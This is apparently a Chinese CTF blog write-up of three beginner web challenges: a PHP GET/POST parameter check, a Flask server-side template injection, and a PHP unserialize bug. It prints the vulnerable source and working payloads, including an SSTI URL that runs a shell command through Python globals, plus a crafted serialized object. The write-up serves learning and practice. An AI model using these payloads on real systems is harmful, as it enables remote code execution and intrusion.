Web的一些小东西


?要不?学点web?

orz一个队四个人,常常因为没学过web和大家格格不入,这里简单写几个web类型,(qwq(至少刚开始打CTF是因为学姐是学web的所以学了一段时间web(

pwn日活达标了就学web,实在都不想看就去搓逆向。(逆向,哭了

不管怎么说,反正我要学(

[SWPUCTF 2021 新生赛]jicao

1
2
3
4
5
6
7
8
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

post传id,get传json

image-20241205222648702

[HNCTF 2022 WEEK2]ez_SSTI

很贴心的给了ssti相关链接:

WELCOME TO HNCTF

What is server-side template injection?

None

image-20241211154931678

1
http://node5.anna.nssctf.cn:23663/?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
1
from flask import Flask,render_template,render_template_string,redirect,request,session,abort,send_from_directory import os import re app = Flask(__name__) @app.route("/") def app_index(): name = request.args.get('name') blacklist = [] if name: for no in blacklist: if no in name: return 'Hacker' template = '''{%% block body %%} <div class="center-content error"> <h1>WELCOME TO HNCTF</h1> <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">What is server-side template injection?</a> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.args.get('name')) return render_template_string(template) if __name__=="__main__": app.run(host='0.0.0.0',port=80) 

[SWPUCTF 2021 新生赛]ez_unserialize

扫描得到robots.txt

image-20241223211246223

指引去另一个页面:(?看起来是php框架的(问题不大)

image-20241223211327062

PHP调用unserialize()时,会触发魔术方法__wakeup()和__destruct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$aa = new wllm();
$aa->admin = "admin";
$aa->passwd = "ctf";
$stus = serialize($aa);
print_r($stus);
?>

得到序列化的结果

image-20241223211952244

1
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

将结果传入最后得到flag

什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

PHP魔术方法

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。


文章作者: W3nL0u
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 W3nL0u !
  目录